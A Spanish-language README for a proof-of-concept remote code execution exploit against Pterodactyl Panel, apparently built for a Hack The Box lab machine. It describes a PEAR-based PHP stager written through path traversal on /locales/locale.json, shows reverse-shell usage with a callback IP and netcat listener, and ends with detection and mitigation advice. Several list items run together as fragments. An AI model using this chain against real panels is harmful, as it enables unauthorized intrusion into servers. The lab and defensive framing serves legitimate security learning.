Este repositorio contiene un exploit RCE para la máquina htb Pterodactyl
Solo para pruebas autorizadas y aprendizaje defensivo.
Este repositorio está destinado a entornos de laboratorio controlados (por ejemplo, configuraciones estilo CTF/HTB) donde usted es propietario del objetivo o tiene*permiso explícito por escrito para probarlo.
Este repositorio contiene un proof-of-concept educativo en Python (pterodactyl_rce.py) para una vulnerabilidad del mundo real que afecta a Pterodactyl Panel versiones anteriores a v1.11.11. En configuraciones vulnerables, un atacante no autenticado puede lograr ejecución remota de código a través del endpoint /locales/locale.json debido al manejo inadecuado de los parámetros locale y namespace.
Esta variante del PoC apunta a entornos donde PHP-PEAR está instalado y se construyó/validó contra la máquina retirada de Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. También puede funcionar en otras configuraciones de laboratorio donde se cumplan las mismas condiciones.
24c82b0…)A alto nivel, el PoC encadena estos pasos:
msfvenom./locales/locale.json para escribir un "stager" PHP en /tmp (a través de un truco PEAR pearcmd config-create)./tmp,El script utiliza un cliente HTTP sin procesar en lugar de curl para el paso de "subida" porque algunas herramientas pueden normalizar o codificar caracteres de una manera que rompe la solicitud manipulada.
Nota: Este README se mantiene intencionalmente a un nivel defensivo/educativo. Use el código solo en entornos donde tenga permiso para probar.
msfvenom disponible en $PATH (Metasploit Framework)nc (netcat) si desea que el PoC inicie un auto-listenerEl script actualmente espera un nombre de host del panel HTB en el código fuente:
host = "panel.pterodactyl.htb"
Además, la ruta codificada a PHP-PEAR está configurada como: ../../../../../usr/share/php/PEAR.
Si está probando esto fuera de la máquina Pterodactyl, deberá ajustar esta ruta según su configuración local.
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: su IP de callback accesible por el servidor de laboratorio<LPORT>: puerto para recibir la reverse shellSi prefiere ejecutar su propio listener:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
Luego, en otra terminal:
nc -lvnp <LPORT>
python3 pterodactyl_rce.py 10.10.14.225 5555
shell_ab12cd34):8080/tmp/<random>.php
/tmp/<name>.php en el objetivo; de lo contrario, espere un tiempo y reintente./locales/locale.json a nivel del servidor web, pero podría romper las funciones de localización.Busque solicitudes sospechosas como:
/locales/locale.json con secuencias de traversal inusuales en locale=namespace= (nombres inesperados, cadenas largas, caracteres extraños)/tmp/ en el host del panelCorrelacione los registros web con:
www / PHP-FPMcurl/wget desde el host del panelNo escanee ni pruebe instancias públicas. Si es operador de una instancia vulnerable, trate esto como crítico y parchee de inmediato.